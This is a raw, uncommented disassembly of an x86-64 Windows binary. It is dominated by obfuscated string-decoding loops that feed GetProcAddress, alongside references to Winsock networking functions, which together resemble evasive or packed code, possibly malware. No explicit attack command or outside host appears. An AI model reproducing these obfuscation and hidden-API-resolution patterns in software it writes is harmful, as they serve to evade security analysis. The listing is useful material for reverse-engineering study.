lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007396b
movzx r9d, r11b
cmp r8, r11
ja 0x140073b38
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x140072fe4
lea ecx, [r9 - 0x17]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5f
jmp 0x140073030
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140073953
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140073930
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140073915
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400738f8
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400738c9
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14007359d
nop dword [rax]
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140073582
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007355c
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140073536
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140073517
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x1400734f7
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x1400734da
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400734bb
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14007349b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007346c
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140073040
lea rbx, [r8 + 0x20]
lea r8, [rbx + 0x200]
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140073b1b
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140073afe
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14007322a
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14007320f
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x1400731f4
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140073423
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x1400733de
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x1400733a2
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14007337a
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140073040
lea rbx, [r8 + 9]
lea r8, [rbx + 0x42]
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140073348
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14007332b
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140073310
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x1400732f0
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400732cd
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x1400732b2
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14007328f
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140073266
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140073247
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140073040
lea rbx, [r8 + 5]
lea r8, [rbx + 0x20]
jmp 0x140073040
lea ecx, [r9 + 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7f
jmp 0x140073030
lea ecx, [r9 + 0x2d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3b
jmp 0x140072fb7
add r9b, 0x23
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0xb
jmp 0x140072f40
lea edx, [r9 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140073985
add r9b, 0x3e
movzx eax, r9b
and al, r10b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140072f25
add r9b, 0x34
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6c
dec r11
inc r11
jmp 0x140072f25
lea ecx, [r9 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x26
jmp 0x1400739ed
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x140073a29
add r9b, 0x16
movzx eax, r9b
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140073a29
lea ecx, [r9 + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x54
jmp 0x140073a61
add r9b, 2
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xe
jmp 0x140073a8e
sub r9b, 8
movzx eax, r9b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140072f25
add r9b, 0x5f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x67
mov byte [rbp + r11 + 0x1a0], dil
inc r11
jmp 0x140072f25
lea ecx, [r9 + 0x55]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x53
cmp r8, 0x61
jb 0x140073392
lea ecx, [r9 - 2]
movzx eax, cl
and al, r10b
mov edx, 7
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x140073985
lea ecx, [r9 + 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xd
cmp rbx, 0x5a
jae 0x140073895
lea rcx, [r8 + 5]
cmp rbx, rcx
jbe 0x14007378c
lea ecx, [r9 - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x36
jmp 0x1400733b8
lea ecx, [r9 + 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x39
lea rax, [r8 + rbx]
cmp rax, 2
je 0x1400738b3
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x1400736a0
lea ecx, [r9 - 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x29
jmp 0x1400733f4
add r9b, 0x76
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3a
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140072f25
add r9b, 0x6c
movzx eax, r9b
and al, r10b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140073a8e
lea edx, [r9 + 0x62]
movzx eax, dl
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140073a61
add r9b, 0x58
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x68
jmp 0x140073a29
add r9b, 0x4e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x22
add rbx, r8
jmp 0x140073a29
lea edx, [r9 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400739ed
add r9b, 0x3a
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140072f25
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
inc r8
dec r11
inc r11
jmp 0x140072f25
lea ecx, [r9 + 0x26]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xa
jmp 0x140073985
lea rax, [r8 + 9]
cmp rbx, rax
jae 0x1400735c1
lea ecx, [r9 - 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5d
jmp 0x140073439
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400735fc
sub r9b, 0x2e
movzx eax, r9b
and al, r10b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140072f25
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140073620
lea ecx, [r9 - 0x1a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4a
jmp 0x140073a61
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007364c
sub r9b, 6
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x140073a29
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140073670
lea ecx, [r9 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1c
jmp 0x1400739ed
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140073439
add r9b, 0xe
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x62
dec r11
inc r11
jmp 0x140072f25
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400736c4
lea ecx, [r9 - 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1d
jmp 0x140073985
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400736f0
sub r9b, 0x31
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x57
dec r11
inc r11
jmp 0x140072f25
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140073719
sub r9b, 0x1d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x35
add rbx, r8
jmp 0x140073a29
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007373f
sub r9b, 0x13
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7b
jmp 0x140073a29
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140073763
lea ecx, [r9 - 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x3f
jmp 0x140073a61
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400733f4
inc r9b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 7
jmp 0x140073a8e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400737c4
sub r9b, 0x5c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7c
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140072f25
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400737e8
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
jmp 0x140073a61
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007380e
sub r9b, 0x3e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4e
jmp 0x140073a29
cmp rbx, rcx
jne 0x140073836
sub r9b, 0x34
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x140073a29
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140073862
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
dec r11
inc r11
jmp 0x140072f25
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400733b8
sub r9b, 0x16
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x66
inc r8
dec r11
inc r11
jmp 0x140072f25
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
add dil, r10b
jmp 0x1400739ed
lea ecx, [r9 + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x7e]
jmp 0x140073a61
add r9b, 0x43
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x2b
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140072f25
add r9b, 0x25
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 3
jmp 0x140073a29
lea ecx, [r9 + 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x77
jmp 0x1400739ed
add r9b, 7
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x31
dec r11
inc r11
jmp 0x140072f25
lea ecx, [r9 - 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5b
jmp 0x140073985
movzx r9d, r11b
lea ecx, [r9 - 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x19
sub r9b, 0x7d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x6b
add r9b, r10b
mov byte [rbp + r11 + 0x1a0], r9b
inc r8
dec r11
inc r11
jmp 0x140072f25
lea ecx, [r11 - 0x35]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x73
dec r11
inc r11
jmp 0x140072f25
movzx r9d, r11b
lea ecx, [r9 - 0x3f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x47
sub r9b, 0x73
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x25
add r9b, dil
add r9b, r10b
mov byte [rbp + r11 + 0x1a0], r9b
add rbx, r8
jmp 0x140073a29
lea rcx, [r11 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x45
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140072f25
movabs rax, 0x4f1df852e44a6a3
add rax, r11
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x75
movzx r9d, r11b
sub r9b, 0x69
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x21
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x1a0], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x1c]
movzx eax, r10b
and al, dl
mov ecx, 0x1e
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x1a0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140072f25
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x17
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140072f25
add r9b, 0x19
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x51
jmp 0x140072f22
add r9b, 0xf
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x69
jmp 0x140072f12
lea rdx, [rbp + 0x14db6fc]
jmp 0x140073b57
lea rdx, [rbp + 0x853c81]
jmp 0x140073b57
lea rdx, [rbp + 0x1a0]
mov r14, qword [rbp + 0x408]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
mov byte [rbp + 0x1c0], 0x3f
mov byte [rbp + 0x1c1], 0x1e
mov byte [rbp + 0x1c2], WSAGetLastError
mov byte [rbp + 0x1c3], 0x3e
mov byte [rbp + 0x1c4], 0x66
mov byte [rbp + 0x1c5], 0x66
mov byte [rbp + 0x1c6], 0x1b
mov byte [rbp + 0x1c7], 0x61
mov byte [rbp + 0x1c8], WSAGetLastError
mov byte [rbp + 0x1c9], 3
mov byte [rbp + 0x1ca], reloc.WS2_32.dll_socket
mov byte [rbp + 0x1cb], socket
mov byte [rbp + 0x1cc], 0x66
mov byte [rbp + 0x1cd], 0xf5
xor eax, eax
mov qword [rbp + 0x1ce], rax
mov word [rbp + 0x1d6], ax
mov byte [rbp + 0x1d8], al
movzx edi, byte [rbp + 0x400]
nop dword [rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x19
jae 0x1400747fd
movzx r10d, byte [rbp + r11 + 0x1c0]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x1400747f1
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140073c55
movabs rcx, 0x3f9b80cd3f91879f
add rcx, r11
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
sub dil, 0x59
jmp 0x140073c82
je 0x140074776
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007473f
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400746f7
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400746d5
movzx r9d, r11b
cmp r8, r11
ja 0x1400747e5
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x140073cb4
lea ecx, [r9 + 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4d
jmp 0x140073d00
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007468f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140074673
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140074653
lea rax, [r8 + 7]
cmp rbx, rax
je 0x1400745f1
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400745c2
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140074278
nop dword [rax]
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14007425c
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140074233
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14007420d
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x1400741f1
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x1400741d1
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x1400741b1
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140074195
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140074178
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140074146
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140073d10
lea rbx, [r8 + 0x42]
lea r8, [rbx + 1]
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x1400747c8
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x1400747ab
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140073ef1
lea rcx, [r8 + 6]
cmp rbx, rcx
jb 0x140073ed2
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140073eb3
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x1400740f5
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x1400740ab
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14007406b
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140074043
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140073d10
mov rbx, rcx
lea r8, [rcx + 0xa]
lea rax, [r8 + 0x28]
cmp rcx, rax
ja 0x140074011
lea rax, [r8 + 2]
cmp rcx, rax
ja 0x140073ff4
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x140073fd8
lea rax, [r8 + 0x41]
cmp rcx, rax
ja 0x140073fb8
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x140073f95
lea rax, [r8 + 0x400]
cmp rcx, rax
ja 0x140073f79
lea rax, [r8 + 0x2a]
cmp rcx, rax
ja 0x140073f56
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x140073f2d
lea rax, [r8 + 0x61]
cmp rcx, rax
ja 0x140073f11
lea rbx, [r8 + 0x42]
lea r8, [rbx + 0x200]
jmp 0x140073d10
lea edx, [r9 + 0x55]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x53
add dil, dl
jmp 0x140073d00
lea edx, [r9 + 0x17]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x5f
add dil, dl
jmp 0x140073c86
sub r9b, 0x27
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x11
add dil, r9b
jmp 0x140073c20
lea edx, [r9 + 0x58]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x68
jmp 0x1400746a5
add r9b, 0x1a
movzx eax, r10b
and al, r9b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x140073c03
sub r9b, 0x24
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 4
dec r11
inc r11
jmp 0x140073c03
lea edx, [r9 - 0x62]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x52
jmp 0x140074712
add r9b, 0x60
movzx eax, r10b
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
add rbx, r8
jmp 0x14007475d
add r9b, 0x22
movzx eax, r10b
and al, r9b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14007475d
lea edx, [r9 - 0x1c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x3c
jmp 0x140074591
sub r9b, 0x5a
movzx eax, r10b
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140074609
add r9b, 0x68
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x1c0]
add rax, r8
add r11, rax
inc r11
jmp 0x140073c03
add r9b, 0x4d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x1b
mov byte [rbp + r11 + 0x1c0], dil
inc r11
jmp 0x140073c03
lea edx, [r9 + 0xf]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x69
add dil, dl
cmp r8, 4
jb 0x14007405b
lea edx, [r9 + 0x5a]
movzx eax, r10b
and al, dl
mov ecx, 5
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x1400746a8
lea edx, [r9 - 0x2f]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x49
add dil, dl
cmp rbx, 0x28
jae 0x14007455b
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x140074448
lea edx, [r9 - 0x12]
movzx eax, r10b
and al, dl
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140074082
lea edx, [r9 - 0x6d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 5
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 4
je 0x14007457d
lea rax, [r8 + 8]
cmp rbx, rax
jbe 0x14007435d
lea edx, [r9 - 0x1d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x35
jmp 0x1400740c2
add r9b, 0x42
movzx eax, r10b
and al, r9b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x1c0]
add rax, r8
add r11, rax
inc r11
jmp 0x140073c03
add r9b, 4
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x1c
jmp 0x140074609
lea edx, [r9 - 0x3a]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x6a
jmp 0x140074591
sub r9b, 0x78
movzx eax, r10b
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14007475d
add r9b, 0x4a
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 6
add rbx, r8
jmp 0x14007475d
lea edx, [r9 + 0xc]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x54
jmp 0x140074712
sub r9b, 0x32
movzx eax, r10b
and al, r9b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x140073c03
sub r9b, 0x70
movzx eax, r10b
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x140073c03
lea edx, [r9 + 0x52]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x3e
jmp 0x1400746a5
lea rcx, [r8 + 2]
cmp rbx, rcx
jae 0x1400742a1
lea edx, [r9 - 0x61]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x59
jmp 0x14007410c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400742dc
add r9b, 0x16
movzx eax, r10b
and al, r9b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x1c0]
add rax, r8
add r11, rax
inc r11
jmp 0x140073c03
cmp rbx, rcx
jne 0x140074301
lea edx, [r9 - 0x6e]
movzx eax, r10b
and al, dl
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140074591
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007432a
lea edx, [r9 + 0x4c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x14
jmp 0x140074712
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007410f
sub r9b, 0x76
movzx eax, r10b
and al, r9b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x140073c03
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140074386
lea edx, [r9 + 0x21]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x19
jmp 0x1400746a5
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400743b9
add r9b, 0x5f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x67
inc r8
dec r11
inc r11
jmp 0x140073c03
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400743e2
lea edx, [r9 - 0x25]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 3
jmp 0x140074712
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007440c
add r9b, 0x57
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x61
jmp 0x14007475d
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400740c5
add r9b, 0x11
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x77
movzx eax, byte [rbp + r11 + 0x1c0]
add rax, r8
add r11, rax
inc r11
jmp 0x140073c03
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140074480
add r9b, 0x2c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x34
movzx eax, byte [rbp + r11 + 0x1c0]
add rax, r8
add r11, rax
inc r11
jmp 0x140073c03
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400744a9
lea edx, [r9 - 0x58]
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140074591
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400744d9
add r9b, 0x24
movzx eax, r10b
and al, r9b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
add rbx, r8
jmp 0x14007475d
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140074502
lea edx, [r9 + 0x62]
movzx eax, r10b
and al, dl
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140074712
